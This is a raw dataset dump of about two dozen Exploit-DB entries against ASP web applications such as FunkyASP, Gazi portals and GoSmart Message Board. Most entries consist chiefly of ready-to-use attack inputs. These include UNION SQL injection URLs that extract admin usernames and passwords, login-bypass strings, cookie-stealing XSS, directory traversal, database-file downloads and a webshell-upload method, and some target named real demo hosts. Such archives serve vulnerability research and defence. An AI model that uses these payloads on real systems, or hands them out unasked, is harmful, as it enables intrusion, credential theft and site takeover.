deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25924
Description: fsboard 2.0 - Directory Traversal
Type: webapps
Platform: asp
Date: 2005-06-30
Author: ActualMInd

Exploit:
source: https://www.securityfocus.com/bid/14111/info

FSboard is prone to a directory traversal vulnerability.

This could allow a remote attacker to read files outside the Web root. This could only be used to access files to which the Web server has permission.

All versions of FSboard are vulnerable to this issue at the moment. 

http://www.example.com/forum/default.asp?db=general&mode=download&idx=507&fileNum=1&filename=../conf.asp&nav=viewcontents&srhctgr=&srhstr=&page=1
Exploit-DB #29600
Description: Fullaspsite ASP Hosting Site - 'listmain.asp?cat' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-02-13
Author: ShaFuck31

Exploit:
source: https://www.securityfocus.com/bid/22545/info

Fullaspsite Shop is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible. 

http://www.example.com/ScriptPath/listmain.asp?cat=<script>alert(document.cookie);</script>
Exploit-DB #29601
Description: Fullaspsite ASP Hosting Site - 'listmain.asp?cat' SQL Injection
Type: webapps
Platform: asp
Date: 2007-02-13
Author: ShaFuck31

Exploit:
source: https://www.securityfocus.com/bid/22545/info

Fullaspsite Shop is prone to multiple input-validation issues, including multiple cross-site scripting issues and an SQL-injection issue, because the application fails to properly sanitize user-supplied input.

A successful exploit of these vulnerabilities could allow an attacker to compromise the application, access or modify data, steal cookie-based authentication credentials, or even exploit vulnerabilities in the underlying database implementation. Other attacks are also possible.

http://www.example.com/ScriptPath/listmain.asp?cat=[ SqL Code ]
Exploit-DB #3233
Description: Fullaspsite Asp Hosting Sitesi - 'tr' SQL Injection
Type: webapps
Platform: asp
Date: 2007-01-31
Author: cl24zy

Exploit:
###############################################################
#Fullaspsite Asp Hosting (tr) == SQL Injection Vulnerability
#Author : cl24zy - DrEgHoT - TuF4N
#Site : www.hacklive.org , www.illegal-attack.org
#Contact: admin@hacklive.org
###############################################################
#Download Link Of Fullaspsite Asp Hosting Sitesi (tr) :
http://www.aspindir.com/Goster/4383
#Demo : http://aspsiteler.fullaspsite.com/hosting

#Exploit;
#Admin Nick, Passport;
http://[SITE]/windows.asp?kategori_id=-1%20union+all+select+0,1,2,3,4,5,6,7,8,9,10,username,12,13,14,password,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+from+admin


#Union data Text;
#Alt Domain : Admin UserName
#Anl.k Trafik : Admin Password

#Greetz: iLLeGaL-ATTaCK//TiM & HacKLivETeaM
################################################################

# milw0rm.com [2007-01-31]
Exploit-DB #10777
Description: Fully Functional ASP Forum 1.0 - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : FULLY FUNCTIONAL ASP FORUM - MtMWebForum 1.0 DB Download Vulnerability  |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : FULLY FUNCTIONAL ASP FORUM - MtMWebForum 1.0                            |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : DB                                                                      | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://server/FULLY/ForumDb.mdb
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * 
-------------------------------------------------------------------------------------------
Exploit-DB #8397
Description: FunkyASP AD System 1.1 - Arbitrary File Upload
Type: webapps
Platform: asp
Date: 2009-04-10
Author: ZoRLu

Exploit:
[~] FunkyASP AD System v1.1 Remote Shell Upload
[~]
[~] script: http://www.funkyasp.co.uk/cats.asp?id=1&currency=GBP
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu
[~]
[~] Date: 04.04.2009
[~]
[~] Home: yildirimordulari.com / experl.com / z0rlu.blogspot.com / woltaj.org
[~]
[~] contact: trt-turk@hotmail.com
[~] 
[~] N0T: BasImIz Sagolsun, Muhsin YazIcIoglu Ulkemiz ve Ulkumuz icin Buyuk KayIp Allah Rahmet Eylesin :((
[~]
[~] N0T: Herkes Hecker Olmus :S yav siktirin gidin mal mal gelip msn de konusmayIn :S anlayan anladI :S
[~]
[~] N0T: if you wanna learn hack you must be register to my site yildirimordulari.com
[~] -----------------------------------------------------------


first register to site 

you add this code your shell to head 

GIF89a; 

example your_shell.asp:

GIF89a;
<?

...

...

...

?>

and save your_sheell.asp

you go to here:

http://yildirimordulari.com/demo/banner/admin.asp?action=upload

and your shell here:

http://yildirimordulari.com/demo/banner/banners/z.asp

for demo:

http://demo.funkyasp.com/demo/banner/admin.asp?action=upload

shell:

http://demo.funkyasp.com/demo/banner/banners/z.asp


[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke & DrLy0N & w0cker & Cyber-Zone
[~]
[~] yildirimordulari.com / experl.com / z0rlu.blogspot.com / woltaj.org
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2009-04-10]
Exploit-DB #25705
Description: FunkyASP AD Systems 1.1 - 'login.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2005-05-25
Author: Romty

Exploit:
source: https://www.securityfocus.com/bid/13761/info

FunkyASP AD Systems is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

Supplying admin for the Username and ' or ''=' for the
Password of login.asp is sufficient to authenticate to the administrator account.
Exploit-DB #29008
Description: FunkyASP Glossary 1.0 - 'Glossary.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-11-14
Author: saps.audit

Exploit:
source: https://www.securityfocus.com/bid/21055/info

FunkyASP Glossary is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/glossary/glossary.asp?alpha='[sql]
Exploit-DB #4486
Description: Furkan Tastan Blog - SQL Injection
Type: webapps
Platform: asp
Date: 2007-10-05
Author: CyberGhost

Exploit:
#Title  : Furkan TaÅŸtan Blog Remote SQL Injection Vulnerability
#Author : CyberGhost
#Demo Page   : http://furkantastan.somee.com/blog
#Script Download Page: : http://www.aspindir.com/indir.asp?ID=5152

#Vuln.

#Username : /kategori.asp?kat=goster&id=-1+union+select+0,1,adkull,3,4,5,6,7,8+from+ayar
#Password : /kategori.asp?kat=goster&id=-1+union+select+0,1,adsif,3,4,5,6,7,8+from+ayar

#Admin Login : /admin/admin.asp

====================================

Saz ArkadaÅŸlarÄ±m: Hackinger - KinSize - dumenci - Kerem125 - Gsy - F10

And All TURKISH HACKERS !

# milw0rm.com [2007-10-05]
Exploit-DB #30207
Description: FuseTalk 4.0 - 'blog/include/common/comfinish.cfm?FTVAR_SCRIPTRUN' Cross-Site Scripting
Type: webapps
Platform: asp
Date: 2007-06-20
Author: Ivan Almuina

Exploit:
source: https://www.securityfocus.com/bid/24563/info
 
FuseTalk is prone to multiple cross-site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied input.
 
An attacker can exploit these issues to steal cookie-based authentication credentials and launch other attacks.
 
http://www.example.com/blog/include/common/comfinish.cfm?FTRESULT.errorcode=0&FTVAR_SCRIPTRUN=[xss]
Exploit-DB #10773
Description: Futility Forum 1.0 Revamp - Database Disclosure
Type: webapps
Platform: asp
Date: 2009-12-29
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Futility Forum 1.0 Revamp DB Download Vulnerability                     |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Futility Forum 1.0 Revamp                                               |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : DB                                                                      | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1- http://127.0.0.1/futility1a/message.mdb
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
Rafik (Tinjah.com) * Yashar (sc0rpion.ir) * Silitoad * redda * mourad (dgsn.dz) * 
-------------------------------------------------------------------------------------------
Exploit-DB #27174
Description: GA's Forum Light - 'Archive.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2006-02-07
Author: Dj_Eyes

Exploit:
source: https://www.securityfocus.com/bid/16563/info

GA's Forum Light is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/forum/archive.asp?Forum=Test+Forum%5F1%2D13%2D2004%5F11%2D28%2D2004&pages='
http://www.example.com/forum/archive.asp?Forum='%20or%20'='%5F1%2D13%2D2004%5F11%2D28%2D2004&pages=4
Exploit-DB #7326
Description: Gallery MX 2.0.0 - Blind SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-03
Author: R3d-D3V!L

Exploit:
[~] ----------------------------Ø¨Ø³Ù… Ø§Ù„Ù„Ù‡ Ø§Ù„Ø±Ø­Ù…Ù† Ø§Ù„Ø±Ø­ÙŠÙ…------------------------------

 [~]Tybe:(pics_pre.asp ID) Blind SQL Injection Vulnerability
   
 [~]Vendor: www.mxmania.net/
   
 [~]Software: Gallery MX
   
 [~]author: ((Ñ3d D3v!L))
   
 [~] Date: 28.11.2008
   
 [~] Home: www.ahacker.biz
   
 [~] contact: N/A

[~] --------------------------------{str0ke}---------------------------
   

 [~]3xpL0!7 4 d3m0:

 http://gallery.mxmania.net/pics_pre.asp?ID={bL!ND}

   
 [~] 8L!/\/D:
   
  7Ru3 : pics_pre.asp?ID=1 and 1=1

  f4L53: pics_pre.asp?ID=1 and 1=2

   
N073:

! 7h!/\/k u can f!nd m0r3 

just let your m1nd breath ;)

[[~]----------------------------------------{str0ke}----------------------------------------------
  

  [~] Greetz tO: {str0ke} & c08RA & black_R0se& maxmos & EV!L KS@ & hesham_hacker &EL z0herY
  [~]  
  [~] spechial thanks : dolly & 7am3m & W4L3d ? & {str0ke}
  [~]
  [~] EV!L !NS!D3 734M --- R3d-D3v!L--EXOT!C --poison scorbion --samakiller
  [~]
  [~] xp10.biz & ahacker.biz
  [~]
  
[~]-----------------------------------------{str0ke}----------------------------------------------

# milw0rm.com [2008-12-03]
Exploit-DB #10464
Description: GalleryPal FE 1.5 - Authentication Bypass
Type: webapps
Platform: asp
Date: 2009-12-15
Author: R3d-D3V!L

Exploit:
------------------------------------------------------------
[~] GalleryPal FE v1.5(Auth Bypass)

[~]TYPE:Remote SQL Injection Vulnerability

[~] ----------------------------------------------------------

[~] author: R3d-D3v!L

[~]

[~] Date: 15.11.2008

[~]

[~] Home: www.ahacker.net

[~]

[~] contact: N/A

[~]

[~] -----------------------------------------------------------


ALERT FR0M THE DARKNESS BY 7h3 REd-D3v!L

[~] Exploit:



[*] username : admin


[*] password : X' or ' 1=1--

[*] demo:

[*] server/GalleryPal_FE_Demo/login.asp



[~] spechial thanks : ((dolly)) & ((7am3m)) & ((magoush_1987)) & (DEV!L_MODE) & ((0R45hy)) & {0}-{n-c-A}-{0}

[~]

[?] 4.!.S ---> ((R3d D?v!L))--JuPA--M2Z --d3v!L-Ro07

[~]

[~] www.xp10.me

[~]

[~]I4M:4r48!4N-3XPLO!73r
Exploit-DB #10819
Description: gallery_show.asp - GID Blind SQL Injection
Type: webapps
Platform: asp
Date: 2009-12-30
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe:(gallery_show.asp GID) suffer from Blind SQL Injection Vulnerability
[~] Vendor:www.aspinvision.com
[*] Software: iPortal X
[*] author: ((R3d-D3v!L))
[?] Home: WwW.xP10.ME
[?] contact: N/A
[?]
[?]??????????????????????{DEV!L'5 of SYST3M}??????????????????




[*] Err0r C0N50L3:

http://server/gallery_show.asp?GID=666


Either BOF or EOF is True

[*] EXPLOIT

NOT !N 7h3 W!LD ;)

N073:

! 7h!/\/k u can f!nd m0r3
just let your m1nd breath ;)

! GAZA !N 0uR HEART's blood and M!ND
[~]-----------------------------{D3V!L5 0F 7h3 SYS73M!?!}----------------------------------

[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca & ((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L))--M2Z--DEV!L_Ro07--JUPA

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~] {[(D!R 4ll 0R D!E)]};

[~]--------------------------------------------------------------------------------
Exploit-DB #15686
Description: Gatesoft Docusafe 4.1.0 - SQL Injection
Type: webapps
Platform: asp
Date: 2010-12-05
Author: R4dc0re

Exploit:
# Author: R4dc0re
# Exploit Title: Gatesoft Docusafe Sql Injection Vulnerablity 
# Date: 05-12-2010
# Vendor or Software Link:http://gatesoft.no/
# Category:WebApp
# Version:4.1.0
# Price:3500$
# Contact: R4dc0re@yahoo.fr
# Website: www.1337db.com
# Greetings to: R0073r(1337db.com), L0rd CrusAd3r,Sid3^effects and to rest of the 1337db members

  Submit Your Exploit at Submit@1337db.com

########################################################################################
[Product Detail]

Product Document Management (PDM) system special made for electronics and 
or mechanical industry. 
DocuSafe is used by large manufacturers in several countries.
Code: ASP 2.0 & VBScript

[Vulnerability]

SQL Injection:

http://server/ECO.asp?ECO_ID=[Code]
########################################################################################
Exploit-DB #29933
Description: Gazi Download Portal - 'Down_Indir.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-04-30
Author: ertuqrul

Exploit:
source: https://www.securityfocus.com/bid/23714/info

Gazi Download Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation. 

http://www.example.com/down_indir.asp?id=1+union+select+0,adminsifre,2,3,4,5,6,7+from+ayarlar
Exploit-DB #29817
Description: Gazi Okul Sitesi 2007 - 'Fotokategori.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-04-04
Author: CoNqUeRoR

Exploit:
source: https://www.securityfocus.com/bid/23316/info

Gazi Okul Sitesi is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

This issue affects Gazi Okul Sitesi 2007. 

http://www.example.com//fotokategori.asp?'%20union%20select%201,2,3,password,5,6,username,8%20from%20admin
Exploit-DB #3437
Description: GaziYapBoz Game Portal - 'kategori.asp' SQL Injection
Type: webapps
Platform: asp
Date: 2007-03-08
Author: CyberGhost

Exploit:
#Title  : GaziYapBoz Game Portal Remote SQL Injection Vulnerability
#Author : CyberGhost
#Page   : http://ucgenportal.somee.com/scriptler/gaziyapboz
#Download : http://www.aspindir.com/indir.asp?id=4765&sIslem=%DDndir

Vuln.

Username : /kategori.asp?kategori='+union+select+0,1,2,3,name,5,6,7,8,9+from+admin
Password : /kategori.asp?kategori='+union+select+0,1,2,3,password,5,6,7,8,9+from+admin

Login : /personelgirisizni.asp

====================================

Thanx : redLine - Hackinger - LiarHack - excellance - by_emR3 - kerem125 - Bolivar - Voltigore - CyberDefacer - ProfeSSionaL

And All TURKISH HACKERS

# milw0rm.com [2007-03-08]
Exploit-DB #4057
Description: GeometriX Download Portal - 'down_indir.asp?id' SQL Injection
Type: webapps
Platform: asp
Date: 2007-06-09
Author: CyberGhost

Exploit:
#Title: GeometriX Download Portal Remote SQL Injection Vulnerability
#Author: CyberGhost
#Demo Page: http://fullaspsite.somee.com/
#Script Page: http://aspindir.com/indir.asp?id=4949&sIslem=%DDndir

#Vuln.

#Password:/down_indir.asp?id=-1+union+select+0,1,adminsifre,3,4,5,6,7+from+ayarlar
#Admin Login : /yonetim.asp
====================================
Thanx : redLine - Hackinger - excellance - Liarhack - KinSize - gsy - kerem125 - BolivaR - Joker - TaRuZ - BuTCHeR - Hacking

And All TURKISH HACKERS !

# milw0rm.com [2007-06-09]
Exploit-DB #24589
Description: GetSolutions GetInternet - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2004-09-10
Author: Criolabs

Exploit:
source: https://www.securityfocus.com/bid/11150/info

getInternet is vulnerable to multiple remote SQL injection vulnerabilities in the 'welcome.asp', 'checklogin.asp', and 'lostpassword.asp' scripts. These issues are due to a failure of the application to properly validate user-supplied input prior to including it in an SQL query. 

An attacker may exploit these issues to manipulate and inject SQL queries onto the underlying database. It is possible to leverage this issue to steal database contents including administrator password hashes and user credentials as well as to make attacks against the underlying database.

The following proof of concept examples are available:
/welcome.asp?page=content_search.asp&search=[SQL]

/welcome.asp?page=content_display.asp&id=[SQL]&category=[SQL]

/welcome.asp?page=category_display.asp&category=[SQL]

/welcome.asp?page=contact_form.asp&id=[SQL]

/checklogin.asp
username: [SQL]
password: [SQL]

/lostpassword.asp
Name: [SQL]
Surname: [SQL]
ID Number: [SQL]
Exploit-DB #29126
Description: Gnews Publisher - Multiple SQL Injections
Type: webapps
Platform: asp
Date: 2006-11-20
Author: Aria-Security Team

Exploit:
source: https://www.securityfocus.com/bid/21194/info 

Gnews Publisher is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

http://www.example.com/categories.asp?catID=[SQL Injection]
http://www.example.com/categories.asp?editorID=[SQL Injection]
Exploit-DB #7495
Description: Gnews Publisher .NET - SQL Injection
Type: webapps
Platform: asp
Date: 2008-12-16
Author: AlpHaNiX

Exploit:
###########################################################################
#-------------------------------AlpHaNiX----------------------------------#
###########################################################################

#Found By : AlpHaNiX
#website  : www.offensivetrack.org
#contact  : AlpHa[AT]HACKER[DOT]BZ

###########################################################################

#script   : Gnews Publisher
#download : null
#Demo     : http://www.gazatem.com/demos/gnews/


###########################################################################

#Exploits :

--=[SQL INJECTION]=--

http://www.gazatem.com/demos/gnews/authors.asp?authorID=(SQL)

http://www.gazatem.com/demos/gnews/authors.asp?authorID=convert(int,(select+@@version));--
http://www.gazatem.com/demos/gnews/authors.asp?authorID=convert(int,(select+top+1+table_name+from+information_schema.tables));--


#Greetz For my Best Friend Zigma

###########################################################################

# milw0rm.com [2008-12-16]
Exploit-DB #24670
Description: Go Smart Inc GoSmart Message Board - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: asp
Date: 2004-10-11
Author: Positive Technologies

Exploit:
source: https://www.securityfocus.com/bid/11361/info

GoSmart Message Board is reported prone to multiple input validation vulnerabilities. These issues may allow a remote attacker to carry out cross-site scripting and SQL injection attacks. The cause of these issue is insufficient sanitization of user-supplied data.

Cross-site scripting:
/messageboard/Forum.asp?QuestionNumber=1&Find=1&Category=%22%3E%3Cscript
%3Ealert%28%29%3C%2Fscript%3E%3C%22

/messageboard/ReplyToQuestion.asp?MainMessageID=%22%3E%3Cscript%3Ealert%
28%29%3C%2Fscript%3E%3C%22

SQL injection:
messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1&Category=1

messageboard/Forum.asp?Username=&Category=[SQL CODE HERE]

messageboard/Forum.asp?QuestionNumber=[SQL CODE HERE]&Find=1

messageboard/Forum.asp?Category=[SQL CODE HERE]

POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

Username=[SQL CODE HERE]&[CREDENTIAL_REDACTED]=1


POST /messageboard/Login_Exec.asp HTTP/1.1
Host: www.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

Username=1&Password=[SQL CODE HERE]&Login=1